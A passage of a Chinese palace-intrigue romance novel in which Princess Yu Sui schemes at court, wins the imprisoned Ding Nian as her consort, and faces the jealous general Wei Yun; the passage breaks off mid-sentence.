“丁年,我已经说服了我父亲,只要你肯娶我,你母族的旧部肯为我父亲所用,以后你就同凉月国没有半分关联了,只是我太尉府的佳婿。” 丁年笑了,他是真的觉得好笑,笑声从无声到有声,甚至笑的咳起来,许是牵动了内伤,唇角洇出一丝血迹。 “洛茄,别在我身上白费心思了。我和你,永远不可能。” 洛茄皱眉,语气中染上愠色,“我不明白你,我真的不明白你,我说的这条路,是你眼下最好的选择,你有什么理由拒绝?” “心中无爱,毋宁死。” 洛茄都气笑了,笑容里带着无尽的酸涩和不甘,“爱?丁年你有心么?这两年,我为你做过的事你不知道?我对你的心思你感觉不到?这段日子,我为你奔走四处,你不明白?”,她的声音因情绪激动而微微发颤,每一个字都像是从心底嘶吼出来。 “贵人不踏贱地,你走吧”,丁年的声音低沉沙哑,像是被砂纸打磨过,满是拒人千里的冷漠。 洛茄几步上前,双手急切地捧起丁年的脸,指尖微微颤抖,仿佛在捧起这世间最珍贵却又最易破碎的宝物。她的眼眸中闪烁着泪光,近乎疯狂地喊道,“你看看我,我不信你没有动过一点心思!我不信!” 丁年不语,只是缓缓闭上了眼,鸦羽般的睫毛在眼睑上投下一片阴影,像在极力隐藏着不耐。 看他这样,洛茄突然有些失去理智,她踮起脚,将朱唇奉上,在将要贴上她渴求已久的双唇时,丁年猛地偏过头,她的唇擦过他的脸颊,落在冰冷的空气中。 “别这样惹人生厌,洛茄”,丁年的声音里带着一丝疲惫,“我们本就不是同路人,你身份尊贵,前程似锦,何苦在我这泥潭里纠缠。” 洛茄却不肯罢休,她死死地抓住丁年的衣襟,指甲几乎嵌入他的皮肉,“同路人?什么同路人!从见到你的第一眼起,我就不想和你只是路人!这两年,我不顾家族反对,为你求人脉、找资源,我把我的心都捧到你面前了,你凭什么一次次推开我!” 丁年全然不为所动,只冷然拒绝:“子非我良人,亦非我追寻”,语气斩钉截铁,没有半分回旋的余地。 洛茄已然冷静下来,“我不是良人?谁是?那个蛇蝎心肠的虞岁么?醒醒吧丁年,那位表面上的金枝玉叶,自幼便在宫廷权谋的血雨腥风中摸爬滚打,在无数次生死较量中练就了一身狠辣果决的手段,她怎么会在乎你的死活?她哪里还会记得你这个人?”,一字一句如同利箭般直直射入丁年的心。 终于得见丁年静默的脸色如湖水中投进石子一样泛起层层涟漪,洛茄心底竟然生出一丝快意,她的话语如重锤一样继续捶磨着丁年:“你还不知道吧?这次让你们凉月国元气大伤的正是她的入幕之宾!卫韫,如今已是定国大将军了,你说,你和她,还有什么可能?” 丁年深吸一口气,说出来的话仿佛从寒冰里捞出来的一样,“不关你的事。” “好好好!你就抱着你那只破手炉慷慨赴死吧!我会让你在死前看到,一时的得意不算什么,虞岁的心思再深也大不过皇权!” 洛茄说完,心中痛苦与恨意疯狂交织,如汹涌的潮水,一波接着一波,压都压不住。此刻,她的脑海中只有一个念头在不断盘旋:一定要让虞岁落魄!她决绝转身,脚步匆匆,每一步都踏得地板咚咚作响,似是要把满心的愤懑都发泄在这脚步声里。 可即便如此,她心底最柔软的地方,仍不可救药地奢望丁年能唤她回头,家族的荣耀、尊贵的身份,都可以抛诸脑后,只要他肯回心转意,她什么都可以放弃。 但是不出意外的让她失望了,丁年没有发出一丝挽留的声音,甚至连一个眼神都未曾施舍过来。 他就那样静静地站在原地,目光悠远不知落在何处,陷在回忆里,身影被昏暗的光线拉得悠长,仿佛一尊没有感情的雕塑。 虞岁她,好似一种蛊,让他尝尽相思苦。 “丁年,你够狠。虞岁,这是你逼我的。”洛茄在心中暗暗发誓,“既然你抢走了我最在乎的人,那我就不会让你好过。” “公主,咱们的人来报,太尉府的洛小姐眼眶红红的从地牢气冲冲的走了。” 虞岁垂眸轻叹,“想过他会不肯,没想到他真的不肯。” “公主您,打算如何?” “阿妄那边怎么说?” “二皇子近日的心思都放在同六皇子争地盘上,两人都用尽浑身解数在皇上面前表现。” “由他们争去,去告诉初九,把阿野的药换成身体孱弱又不伤元气的,务必让他看起来年岁不永,毫无费心出手的必要。再转告阿野,让他最近不要直接插手前朝的事,不要露出马脚,做的干净些。” “唯。那公主,准备不管丁年了么?” 虞岁勾唇,“怎么会?我哪里舍得我的人一直呆在那种地方,不过是多费些心思罢了。你看他这般忠贞不二,为他绕些弯子也是值得的。” 阿元有些犹豫的进言:“公主,卫世子就要凯旋归来了,圣上亲笔御封定国大将军的旨意已经昭告朝野,眼下,您不考虑一下卫世子能不能容得下丁年么?” “我只考虑我自己。我现在的身份不能左右逢源的两个都要,除非咱们阿野登位,届时我就是名副其实的长公主了。两个面首而已,便是再加两个,又何妨呢?” “公主,您看问题的角度总是这样新颖。” “不然呢?我与卫韫,不过是结盟,不过是他颇有姿色,真要比起来,跟丁年还差了一大截,鱼目混珠这种事,我是不会做的。所以说为什么要考虑他容不容得下丁年呢?更何况,本宫能捧出一个卫韫,就能捧出第二个!” 阿元听明白了,虞岁的意思就是,卫韫常有,而丁年不常有;卫韫可以有,丁年不能没有。 有侍女匆匆进来,躬身到阿元耳边低语,阿元听的神色一变,摆摆手示意那侍女退下。 “公主,洛小姐回府与洛太尉密聊一个时辰,刚刚洛太尉上了奏折,说……” “嗯?” “说洛小姐爱慕圣上天威已久,借此战事大捷之际,奏表陈情,请求入宫伴驾,侍奉圣上左右。” 虞岁稍微一想就明白其中关窍,冷哼一声,“上不得台面的东西!堂堂太尉千金,高门闺女,如此不入流,为了个求而不得的男人竟甘愿以身入局,看来,洛茄是决意与本宫不死不休了。” “仅仅是为了丁年?” “自是不止,好儿多着呢!这是太尉亲笔上书,父皇给他三分薄面,最低也要封个妃位,再生个皇子,日后……不成,别的都可以,只这样不成!”,虞岁缓缓踱步,心下不断计算。 “公主的意思是?断了洛小姐的路?” “啧,阿元,这么多年怎么一点进益都没有?格局打开,这种事,源头在男人身上,女人何苦为难女人?本宫从不屑于在这种事上脏了手。” “您是说?皇上?可他是皇帝啊?您……怎么……” 阿元想说,我的公主您怎么敢想的?这皇帝的药怎么下?涉及皇嗣,又不能轻易假手于人,或许自己可以? 她这个念头刚冒出来,或者说她眼珠一转虞岁就察觉到了,抬手制止她,“停,你的脑袋不适合思考这种阴谋诡计阳谋设计的事情,轮不到你去做这种事,你就乖乖呆在我身边,任由我指哪打哪就好了。” “唯。” “洛茄什么时候入宫?” “今夜。” “这么急?聘为妻奔为妾,她不该叫洛茄,应该叫洛妾。” “公主,咱们怎么应对?” 虞岁闭上眼睛揉了揉眉心,再睁眼,眼底一片清明,“不必咱们出手,前段时间你不是说陈相一党被打压的太狠,皇后也不管,陈相已经动了让陈思蒙进宫的心思,如今正好,都放进来,让她们热闹起来。” “可是,陈小姐也是会给公主您添堵的。” “放进来吧,她在宫外也不消停,为了嫁给她的念稷哥哥,见天见的折腾阿妄,不如放进来,放到咱们眼皮子底下,进了宫就由不得她了,不争宠,她怎么活?” “公主思虑周全,是奴婢想左了,怕她们统一战线对付您。” 虞岁淡笑,“只要是几个女人夹了个男人,再有点权势做诱饵,就不怕她们不咬钩,一个钩挂多只鱼,怎么能全身而退?势必鲜血淋漓收场。这世上很多关系,看似固若金汤,只要逐一击破,也不过如此。” “什么时候放进来需要安排么?” “不必着意安排,今夜咱们放开手,怕是明日中午就能听到新人进宫的消息了。” “公主说的是,您,这是要出门?” 虞岁有些咬牙切齿的说:“费了半天脑子,该去收点利息了,走,去看看给本宫节外生枝的祸水。” 地牢深处,死寂沉沉。昏黄如豆的火把,在幽暗中摇摇晃晃,像是随时都会熄灭。火光跳跃,把潮湿墙壁上的血污映照出张牙舞爪的模样。 丁年被粗重的铁链死死地锁在冰冷刺骨的石壁上,铁链碰撞,发出沉闷的声响,在空旷的地牢里回荡。 每一次呼吸,都带着铁锈与腐臭的气息,胸腔里满是压抑的疼痛。他的眼神却依旧倔强,透过凌乱的发丝,凝视着黑暗深处,似乎在等待着什么 。 一阵环珮声过后,虞岁的身影渐渐清晰,丁年起初还以为自己在做梦,遥寄思念挂星辰,梦里恍若见故人。 见他这样,虞岁出声调侃:“这才过了多久就不记得本宫了?怎么?是那洛小姐升小姐都比本宫令人记忆深刻?” 届笑春桃兮,云堆翠髻;唇绽樱颗兮,榴齿含香。 “虞岁?” “真忘了?” “怎么会?我的公主殿下”,丁年的状态虽然有些虚弱,但是语气中的欣喜若狂却是几个音节就已经一览无遗的。 千秋无绝色,悦目是佳人;倾国倾城貌,惊为天下人。 虞岁的裙摆扫过地面的尘土,不顾四周的阴森与腐臭,款款走到他面前。 四目相对,千言万语在那一瞬间凝噎,也多余。 她抬手,指尖轻轻抚上他的脸颊,丁年眼睛都不舍得眨一下,生怕这只是一场转瞬即逝的梦。 他微微偏头,仿若一只眷恋温暖的倦鸟,将脸更深地埋进她的掌心。 那掌心的温度,似是冬日里最暖的炉火,他贪婪地汲取着,仿佛要将这温度融入自己的灵魂深处。 紧接着,她如同一朵被风吹近的娇花,轻轻凑近,温热的呼吸如同轻柔的羽毛,浮光掠影般印在他的唇边,带着独属于她的馥郁香气,那是他在无数个辗转难眠的夜里魂牵梦萦的味道。 他再也抑制不住心底的渴望,像是被一种无形的力量牵引,忍不住倾身向前。 当他的唇触及到她唇瓣的瞬间,仿若有一道电流瞬间贯穿全身,他感觉自己的每一寸骨血都在放肆叫嚣,那是压抑已久的情感在这一刻彻底爆发。 他的动作轻柔得如同在对待天边皎洁的皓月,却又带着无尽的渴望,似要将这些时日以来的思念与爱意,都在这一吻中倾诉。 这个吻,像是黑暗中唯一的光,带着不顾一切的决绝。 他用力贴近她,铁链碰撞石壁发出沉闷声响,似在为这炽热的爱意奏响不和谐却又动人的律章。 她纤细的手指扣紧他的肩膀,指甲几乎嵌入他的肌肤,似要将他揉进自己的灵魂。 这个吻,宛如一泓清泉,淌过荒芜的心田,唤醒心湖的睡莲;又似夜空中的流萤,轻盈地飞荡,点亮彼此灵魂深处的星幕。 时间仿若被凝于琥珀之中,流光悄然凝滞,山川失色,尘世万物皆隐入水墨淡影,周遭一切像是被蒙上一层薄纱,影影绰绰,模糊难辨。 乾坤间,唯余两颗心的悸动,仿若暮鼓晨钟,交叠呼应,于无声处,恰似那丝竹雅乐,奏响一曲情长意绵的凤求凰 。 在这狭小阴暗的地牢,爱意滋生蔓延,肆意生长,这个吻加深了他对命运的反抗。 丁年私以为,这是虞岁给他的,绝境中相互依偎的誓言 。 她像他宿命的藤,缠绕与支撑厘不清。 “我好想你”,他的声音低沉暗哑,透着无限的缱绻与深情,每一个字都像是从心底最深处掏出来的。 虞岁好整以暇的看向他,“丁年,我再问一次,你愿不愿意跟我走,做我的,面首?” 丁年怔住了,上一秒还感觉自己见到了碧落花开,下一秒,就在黄泉徘徊,生生死死,死死生生,尽在虞岁的一念之间。 “原来是我错了,原来在你心里,我从始至终只是一个玩物,是你手中可以随意摆弄的棋子”,丁年的身形有些摇摇欲坠,若不是墙壁上的铁链锁着他,怕是他早已支撑不住。 虞岁的神情有些触动,“丁年,做我的所有物不好么?何必深究那么多呢?” “是因为……那个卫韫么?所以我是见不得光的那一个啊。” 心头栽得苦情树,换不来那鸳鸯住。 “丁年,给你一夜的时间考虑,我不强迫你,明日,若你咬定不肯,我就放你走,从此山水万重,你我,不再重逢。” 归舟明日毗陵道,回首姑苏是白云。 出了地牢门,阿元恨恨的说:“公主,这丁年很是不知好歹,您这般为他,他还有什么不知足的?” “说的是呢,不过,他若是那样好上手,也不值得本公主惦记这么久了。” 隔天一早,洛太尉之女颇得圣心,册封洛妃的旨意便晓昭六宫。 “公主,洛妃宫里的寺人请您过去,说是要叙旧。” “来的这样快啊,她可真是耐不住,这样的性子怎么在宫里讨生活?”,虞岁懒懒的靠在美人靠上,由着侍女梳妆。 “公主,陈相那边已经安排好了,陈小姐会在午后于梨花树下一舞惑君心。” 虞岁的神色恹恹的,“毫无新意,去,派人到雀鸟司搞些珍禽,找人盯着,事情完了传出去百鸟朝凤的噱头,把事情弄大,场子热起来,别让皇后再闲着了,水不浑,咱们怎么趁机混水摸鱼?” “唯。公主好计谋。” “计谋好有什么用,有的人心啊,不可控,难搞。走吧,去会一会这位洛妃娘娘。” “虞岁,好久不见,你还是这般,让本宫讨厌的样子。” “是么?我可以一直这样青春永驻。” “本宫是皇上新宠,区区公主,见了本宫为何不行礼?” “洛茄,新宠是什么意思你明白么?就是再有新人进宫,你这个新宠就会变成旧人,你确定要为了争一时之气得罪我么?” 其实进宫之前,父亲已经耳提面命过,要洛茄千万不要去主动招惹虞岁,但她见到她就忍不住,她是真的恨。 洛茄也不跟她兜圈子,单刀直入的问:“虞岁,为了丁年,你可以做到哪步呢?骨头硬?跪不得?真要说起来,本宫也是你的庶母,跪不得么?” 虞岁就喜欢这种直接亮底牌的下家,省了她多少心思,不就是跪一跪么?她能屈能伸,有这么软的膝盖,做什么都会成功的。 下跪不难,难的是跪下去能不能站起来,难的是跪久了会不会站起来。 虞岁动作流畅,毫不拖泥带水,“自是跪得。求洛妃娘娘,高抬贵手,让我带他走,我能屈能伸,不过你也要识相点,面子我给你了。人,你敢碰,就要做好洛家覆灭的准备。我说到做到。我父皇的事上,你没领教过么?洛,妃,娘,娘?” 洛茄看着虞岁,她自幼便在宫廷权谋的漩涡中心游走,见惯了人性的丑恶与贪婪,手段狠辣果决,行事从不拖泥带水,是众人眼中只可敬畏、不可亲近的高岭之花。 如今竟然真的跪在自己脚下,但虞岁怎么有这种本事?跪的比她站着还有气势? 虞岁说完,施施然站起,朱唇轻启,“如何?过瘾么?” “虞岁,我不好过,你也要做好不好过的准备。你打算带丁年去哪?即使我不阻止,你就能救他么?说实在的,我是盼着他好的,但是不能跟你好,不能是你,不可以是你,只要不是你……” 虞岁摊手,“那恐怕要让你失望了,我不仅要带他走,我还要他做我的面首。” “你?!你无耻!他不会愿意的。” “为什么不愿意?是因为他连你太尉府的佳婿都嫌弃么?” “虞岁!卫韫就要班师回朝,你就不怕他不肯?” 虞岁眸光中泛过一丝寒芒,“不关你的事。洛茄,脸面我给你了,你若是执迷不悟,那我就要悔棋了,卫韫肯不肯,我不在乎。而且你我都明白,若我父皇知道你对丁年的心思,一定会在乎。丁年若是有事,我刚刚下跪的时候也说了,你猜猜,我会不会让你活?让你们洛家活?” 良久,洛茄咬着牙说:“我们最好不要再有交集。” 虞岁转身往外走,边走边提醒她,“这谁说的准呢?你要记住,我最是睚眦必报,你若是想算计我,最好在心里演算千万遍,不要露出马脚,不要被我发现,否则就要做好万劫不复的准备。” “公主,现在要去哪?” “陈思蒙那边怎么样了?” “到百鸟朝凤那一步就闹起来了,阖宫都在传,说陈相府要出娥皇女英了,皇后娘娘大怒,已经带了人过去了,咬死了不肯陈小姐进宫,声称若是陈小姐入宫,就要自请废后,皇上大发雷霆,已经回了养心殿。” 虞岁笑的开怀,“我真的很喜欢皇后这幅蠢样子,这步棋算是走对了。” “说起来,皇后娘娘也是陈相府的女儿,如今地位稳固,再多一个陈家的女儿入宫巩固陈家的地位不好么?” “她若是这么有大局观,也不至于巴巴的要除掉我母妃,也不至于在我母妃殁了之后才登上后位,更不至于防贼似的防了阿野这么多年,还生了老二那么个一脉相承的蠢儿子!一个需要依附自己的新人有什么可闹的?不过,幸好她蠢,省了我多少事。” “公主是要去养心殿么?” “正是呢,我这个父皇,对于得不到的女人最肯费心思了,这时候他正瞌睡呢,我这么伶俐孝顺,可不得去递枕头么。” 养心殿里,虞岁逆着光而来,那张美艳的脸与记忆深处的人渐渐重合,颂帝忍不住呢喃,兰儿,是你么? 虞岁心下冷哼,面上堆满笑意,盈盈跪拜,“父皇,念舟来给您请安了。” 颂帝瞬间恢复清明,“念舟来了啊,起来吧。” “儿臣听闻父皇圣心不悦,特来为您排忧。” “提到这个就有气!皇后如今愈发不成体统了!” “儿臣愿去劝慰母后,请父皇准允。” 颂帝笑了,“好!念舟若能促成此事,朕便满足你一个心愿!” “儿臣确有一事想求一求父皇的恩典。” “哦?说来听听。” “儿臣想要一个面首。” “哈哈哈,朕的念舟公主也到了思慕少艾的年纪了?是谁?卫韫么?” “卫韫已经为父皇所用,自然不必再让儿臣费心为父皇出力,是丁年,儿臣,想要丁年。” 虞岁这话说的就很有深意了,一来,大大方方的点明了她周旋卫韫是为皇上效力,而来又点出丁年也有价值,假以时日,或也可为皇上所用,像卫韫那样。 颂帝沉吟片刻,仔细打量着下首的虞岁,不知什么时候起,这个他从前没放在眼里的女儿,一步一步走到他面前,走到世人面前,也能令众人谈之色变。 “丁年跟卫韫不同,怕不是你能驾驭的,朕得从长计议。” “父皇,儿臣有把握,势在必得。” “宫里还有很多资质不错的质子,像念安那个面首就不错,很听话。” “父皇,儿臣只要丁年,一如当年父皇只要母妃那样”,虞岁说着,直挺挺跪下,神色坚决。 颂帝长叹一口气,“罢了,言升,拟旨,赦免丁年,赐予念舟公主,同念舟公主一起,择日搬往公主府。” “儿臣谢父皇,愿父皇万寿常青,与天齐寿。” “念舟啊,你同你母妃越来越像了,多来陪陪朕吧……” “父皇放心,儿臣一定促成父皇与陈小姐一对佳偶天成。” 虞岁出声打断他,根本不想再听他继续那个话题,暂时也不想深究他这几年对她生出的荒唐又龌龊的心思。 宫里的女人,还是少,以至于他的心思竟有空放到亲女儿的身上! 皇后那里就容易多了,陈相得了消息,承诺只是为了助皇后巩固地位,无心皇嗣,已然给陈思蒙断了后路。 皇后借坡下驴,毕竟,硬要她选的话,宁可让一个没有后嗣的妃子为自己助益,也不想让自己的儿子失去一个联姻其他世家的机会。 再加上,虞岁在宫门口跪了一个时辰,皇后的气消的七七八八,终于松口,同意陈思蒙入宫封妃。 事情结束后,虞岁拐了一趟去到陈思蒙宫里。 “虞岁,你想看我的笑话?” 虞岁示意阿元清场,守好门口,才冷冷开口:“陈思蒙,我上次提醒过你了,别人呢,讲究个有再一再二没有再三再四,我不同,我讨厌重复,一次都不可以。所以你没机会了,这辈子就呆着我父皇身边吧,你闻到了么?整个皇宫都弥漫着他身上腐朽的味道。准备好了么?承受你亲姑母的怒火。” “你休想挑拨离间!” “你倒是会想,你对我有什么价值?值得我大费周章的特地来挑拨离间?” “你到底想怎么样?我不信你只是来看我的!” “算是吧,我是来可怜你的,看看你现在,如花似玉的年纪,却要困在这重重宫墙之内,听说,你父亲连后路都不给你留,你就心甘情愿的把你的大好年华都献给你们陈家?献给你姑母?献给我父皇?你想过没有?皇后若是真的心疼你,你本可以嫁给念稷,父皇若是真喜爱你,怎么会先有洛妃才有你,任由她压你一头?” “我能怎么样呢?我是陈家的女儿,这是我的命。” “命?只有懦弱的人才认命。你就不想为你自己争一争?” “争?怎么争?” 虞岁循循善诱着,“你不会有子嗣了,可是陈家有,皇后有,我父皇也有,你说,这公平么?” 陈思蒙喃喃自语,“公平么?不公平……不公平……” “大家都一样,才公平。” 有些话,点到为止;有些事,过犹不及,虞岁深谙此道。 “公主,陈妃会怎么做?” “自然会为自己活一次,找个机灵点的盯着她,好戏就要开场了。” “唯。公主,卫将军明日便会抵达。” “是么?那走快点,为免夜长梦多,去找丁年,免得卫韫回来之后再有变数。” 彼时被打点过的典狱长已经放开丁年,虞岁见到他的时候,虽然他还是破衣烂衫,但是气色看上去已经好很多了。 “丁年,本宫想通了,已经求了父皇恩典,放你一条生路,此后山高水长,祝你前程似锦。” 听虞岁这样说,丁年和阿元齐齐看向她。 丁年眼中是震惊和怅然若失,他本该欣喜的,为何会心痛? 阿元眼中是疑惑和不明所以,她的公主这又是唱的哪出? 丁年嗫嚅着,指着血迹斑驳的墙壁,“虞岁,你不要我了?就在那里,你对我做了那样的事,不准备负责了?” “我没说不负责,是你不肯。” “你只让我考虑一夜,又没有再问我,你怎知我不肯?” “算了吧,不属于我的,强求不来。” “不能算,我愿意被你强求。” “嗯?” “我愿意,做你的面首。” “还有呢?” “我愿意跟你走。” 丁年明白,她偏偏要在一片荒芜里将他狠狠击落,他知她冷心傲骨,所以他甘做败者。收剑入鞘,封笔搁墨,于是他笑了,旁人夸她孤芳自赏,于寒冬独绽芳华,惊艳四方,嘲他黯淡无光,才情尽失,满心沧桑,可谁说冷香难久?他偏要看她久。 自此之后,丁年便以虞岁面首的身份,住进了奢华却暗藏玄机的公主府。 他心甘情愿对她俯首称臣,即使他不过是虞岁手中的一枚棋子,任她随意摆弄。 朝堂之上,每当有大臣对虞岁发难,虞岁便会带着丁年出席,丁年的身份,如同一颗重磅炸弹,瞬间扰乱众人视线,转移话题焦点。 众人皆以为虞岁沉迷男色,昏庸无道,殊不知她在暗中精心布局,一步步将权力的缰绳紧握在手中。 端午佳节,宫中大摆筵席,灯火辉煌,丝竹悠扬。 满朝文武与皇室宗亲齐聚一堂,觥筹交错间,表面上是一片歌舞升平之景,实则暗流涌动。 宴席间,陈相起身,满脸堆笑地向皇帝敬酒:“陛下,臣有一事启奏。近日听闻公主殿下有意插手吏部官员任免,这朝堂之事,自有规矩,岂容随意干涉?” 他的话一出口,众人的目光瞬间聚焦在虞岁身上。 虞岁轻轻放下酒杯,眼中闪过一丝杀意,却依旧笑意盈盈:“陈相大人这话从何说起?本宫不过是与几位官员闲聊,听闻他们对吏部考核制度有些看法,便随口提了几句,怎就成了插手官员任免?陈相大人莫不是误会了?” 陈相却不依不饶:“公主殿下,这官员任免关乎朝廷根基,可不是几句闲聊就能了事的。您如今深受圣上倚重,一举一动都备受瞩目,还望您慎言慎行。” 虞岁心中冷笑,近日二皇子和六皇子的党争逐渐白热化,而她有意无意的表现出被六皇子动摇的表象,今日这陈相怕是受了指使,故意来给自己难堪。 就在这时,丁年突然站起身来,向众人行了一礼:“诸位大人,在下虽身份卑微,但也有几句话想说。我曾听闻,陈大人的外甥在吏部任职,短短一年便连升两级,这其中是否存在任人唯亲之嫌?” 此言一出,全场震惊,陈相的脸色瞬间变得惨白。 陈相恼羞成怒,指着丁年骂道:“你这大胆狂徒,竟敢污蔑朝廷命官,该当何罪!” 丁年却毫不畏惧,从怀中掏出一份卷宗:“陛下,这是我收集的证据,上面详细记录了陈相大人外甥晋升的不合理之处。” 颂帝接过卷宗,脸色阴沉得可怕。 虞岁见状,趁热打铁:“父皇,朝堂之上,公平公正至关重要。如今吏部竟出现这般乱象,若不整治,如何服众?” 颂帝重重地拍了下桌子:“此事必须严查!陈境,吏部尚书是你的门生,若真有此事,朕定不轻饶!” 陈境吓得瘫倒在地,不停地磕头求饶。 宴席结束,虞岁和丁年一前一后走在长长的巷道中。 丁年亦步亦趋的跟在她身上,不紧不慢的脚步,不远不近的距离,半空悬着的明月泄下银白的光,从他的角度可以看到虞岁半笼在袖中的手,腕白肤红玉笋芽,调琴抽线露尖斜。 “丁年,你怎么知道陈相今日会发难?又适时的拿出证据?” “公主不要把心思延伸到这种事情上,我没有未卜先知的能力,并不知道事情的走向,我只是,有备无患,到场的所有官员,我都搜罗了证据。” 虞岁停下脚步,回身看向他,“如此说来,我是捡到宝了?” “貌似是,还请公主疼我”,丁年嗓音低沉,尾音微微发颤,隐藏着夜的温热与期待。 虞岁的视线借着月色肆无忌惮的勾勒着丁年的轮廓,他满脸都写着,你看看我啊,满眼都写着,求你爱我。 “是么?怎么疼?你教教我?”,虞岁说着,纤长的手指顺着他的衣领游走到衣襟,缓缓的探进去…… 丁年的眼神渐渐变得炽热而深沉,原本清澈的眼眸此刻被欲望与爱意填满,像是一汪深不见底的幽潭,要将虞岁溺毙其中。 他的瞳孔急剧收缩,牢牢锁住虞岁的一举一动,那眼神里的侵略性毫不掩饰。 他喉结上下滚动,舔了下嘴唇,抑制不住内心的汹涌。 下一秒,虞岁从他怀里扯出一本册子,“都在这里么?” “嗯”,丁年的声音像是从喉咙深处挤出来,透着难以言说的欲念,让这简单的一个字都染上了别样的旖旎色彩 。 “干得漂亮”,虞岁收好册子转身,却被丁年拉住,他掌心灼热的温度好似能穿透肌肤,直抵骨髓。 “公主,没有奖励么?” 虞岁微微仰起下颌,银白的月光恰似一层薄纱,温柔地洒落在她身上,细腻地勾勒出她优美流畅的侧脸线条,宛如一幅被精心描绘的工笔画。 她伸出手,食指与中指并拢,莹润的指尖先是轻轻贴上自己的唇,带着几分缱绻的情愫,停留片刻后,便带着独属于她的温度,将这个虚拟的吻,轻轻印在了丁年的唇上 。 丁年的呼吸瞬间急促起来,他怔怔地望着虞岁,眼中的炽热仿佛要将周遭的夜色点燃。 他下意识地倾身向前,想要捕捉那近在咫尺的温柔,可虞岁却似早有预料,在指尖离开他唇瓣的瞬间,便微微后退一步,与他保持着恰到好处的距离。 “公主……”丁年的声音欲色深深,“为何要这般撩拨我?”他的双眼紧紧盯着虞岁,像是要从她的眼眸中探寻出这份若即若离背后的答案。 虞岁轻笑一声,“怎么,承受不住了?”她微微歪头,眼中波光流转,似有万千情愫在其中翻涌,却又让人难以捉摸。 丁年他深吸一口气,努力压抑着内心的冲动。“公主可知,你这一举一动,对我而言,皆是蚀骨的诱惑。”说着,他又向前一步,这次虞岁没有再躲开,两人的距离近得能感受到彼此的呼吸。 “那又如何?”虞岁挑眉,眼中满是挑衅,“你待如何?”她的目光直直地撞进丁年的眼底,似是要与他在这场无声的较量中一决高下。 月光洒落在她的发丝上,勾勒出如梦似幻的轮廓,美得惊心动魄。 丁年凝视着她,眼中的炽热渐渐被坚定所取代,他猛地贴近她,她的脸放大倒映在他眼中,他的鼻息和她的鼻息交缠。 “可以么?”,他凑近她耳畔低语,轻轻吐气吹了下她鬓边的落发。 “不可以哦。” 虞岁说完,丁年没有再动作,他维持着这个姿势,几个呼吸后,他慢慢站直身体,理了理虞岁衣襟上的褶皱…… “公主,走吧,丁年永远在您身后。” 虞岁深知这场小小的交锋只是漫长权谋斗争中的一个小插曲,更大的挑战还在后头。 “公主,盯着陈情殿的人来报,说陈妃已经开始准备东西了。” “她想通的倒是快,去找初九探探路,必要的时候帮她一把,手脚利落些,不要留下把柄,记得,无论什么结果,都要把咱们的人摘出去。” “唯。公主安心,咱们的人都明白。” “洛茄那里有什么动作?” “暂时没有,她似乎真的在专心争宠。” “再探,洛茄远比陈思蒙更沉得住气,这种摸不清路数的感觉,我不喜欢。” “公主放心,有任何风吹草动即刻来报。” “阿野近来如何?” “殿下还是老样子,幕后的事做得游刃有余,除了盯着陈相和洛太尉,还在暗暗发展自己的势力。” 虞岁满意的点头,瞥了一眼阿元,见她有些欲言又止,“怎么了?” “卫将军来了,在花园里跟丁公子,碰上了……” “碰到了是迟早的事,也不至于你这幅模样。” “卫将军要杀丁公子。” “什么?”,虞岁将手中的棋谱重重的扔到桌案上,“真是荒唐!带我去看看。” 花园里,海棠树下,卫韫和丁年各站一端,空气中萦绕着剑拔弩张的气氛。 “久仰大名了,丁年”,卫韫率先发难。他的眼眸中燃烧着熊熊怒火,缓缓抽出腰间的佩剑,寒芒闪烁,剑刃在日光的映照下,透着冰冷的杀意。 丁年微微眯起眼,周身散发的肃杀之气让周遭的空气都仿佛凝固了,“卫将军威名远扬,今日得见,幸会。只是不知丁某究竟犯了何事,竟引得将军如此大动干戈,欲取我性命?” “我早就知道,你留在她身边,就是一个祸患,今日我便为她清理门户!” “卫韫,慎言。你为她?你凭什么?凭你也配?”,丁年冷笑,嘴角勾起一抹嘲讽的弧度,字字如刀,直击卫韫心底最敏感的角落。 “我今天倒要看看,你的脖子,有没有你的嘴硬!”,卫韫被彻底激怒,暴喝一声,如同一头发狂的猛兽,举剑便向丁年刺去,剑风呼啸,带起一阵尘土。 “你的嘴倒是比你的剑硬!”,丁年不退反进,率先出手。他身形如电,脚尖轻点地面,整个人如离弦之箭般冲向卫韫。右手成掌,裹挟着凌厉的劲风,直逼卫韫持剑的手腕。 卫韫见状,剑势转化,变刺为削,锋利的剑刃划过一道弧线,斩向丁年的手臂。 丁年反应极快,迅速收掌,侧身一闪,同时左腿猛地踢出,目标是卫韫的下盘。 卫韫身形矫健,向后一跃,轻松避开这一击,随后长剑挥舞,剑影如织,密不透风地向丁年攻去。 两人你来我往,激战正酣。卫韫的剑法大开大合,每一剑都带着千钧之力,仿佛要将眼前的一切都劈成两半; 丁年则身形灵动,招式变幻莫测,巧妙地化解着卫韫的攻击,还不时寻机反击。 花园中的海棠树在他们的打斗中惨遭殃及,花瓣如雪般纷纷飘落,地上很快便铺上了一层嫣红,与两人的身影交织在一起,构成了一幅诡谲又壮烈的画面 。 丁年余光看到虞岁匆匆赶来,收招,卫韫眼见有隙可寻,挥剑斩向丁年的肩,丁年也不躲,剑刃顺势而下,在丁年的肩头划开一道长长的口子,鲜血瞬间涌出,洇红了他的衣衫。 虞岁见状,猛地抽出阿元腰间的软鞭,精准缠住卫韫的手腕,打掉了他手中的长剑,在他手腕处留下一道深深的血痕。 虞岁扔掉软鞭,走到丁年面前,一边蹲下察看他的伤势,一边沉声低吼:“卫韫,你疯了不成!” 卫韫盯着手腕的伤口,有些失控,他难过的不是她对他出手,他难过的是她为了丁年对他出手,当即有些苍凉悲戚的说:“没错!我是疯了!从我认识你那天起,我就疯了!从我为了你去军中那天起,我就疯了!从你请旨把这个小白脸带到你身边那天起,我就疯了!” 虞岁看着丁年苍白的脸有些气血翻涌,听到卫韫的说辞,头都疼了,“滚回你的将军府!等你冷静下来我们再谈。” 她扶起丁年,转身欲走…… 卫韫一把上前扯住丁年,丁年被他扯的一个趔趄,“他不能走!” 虞岁都有些佩服卫韫了,竟然能让自己破功,她狠狠打掉卫韫拉住丁年的手,力量很大,直震的自己手心发麻,“卫韫!你闹够了没有?!” “虞岁,我和丁年,你只能选一个!”,卫韫执拗的要一个答案。 虞岁真的恼了,她把丁年扶正,让他倚靠在自己身上。 然后,一字一句的对卫韫说:“只能选一个?你还真把自己当回事!莫说他丁年是本宫名正言顺的面首,便是你,本宫现在想要,下一刻就会有人来引着你洗干净了躺到本宫的床榻之上!本宫只说一次,你最好记住,本宫和你之间,只有本宫有说要或不要的权力!你卫韫,没有说的资格,也没有拒绝的资格!听明白了么?!” “你 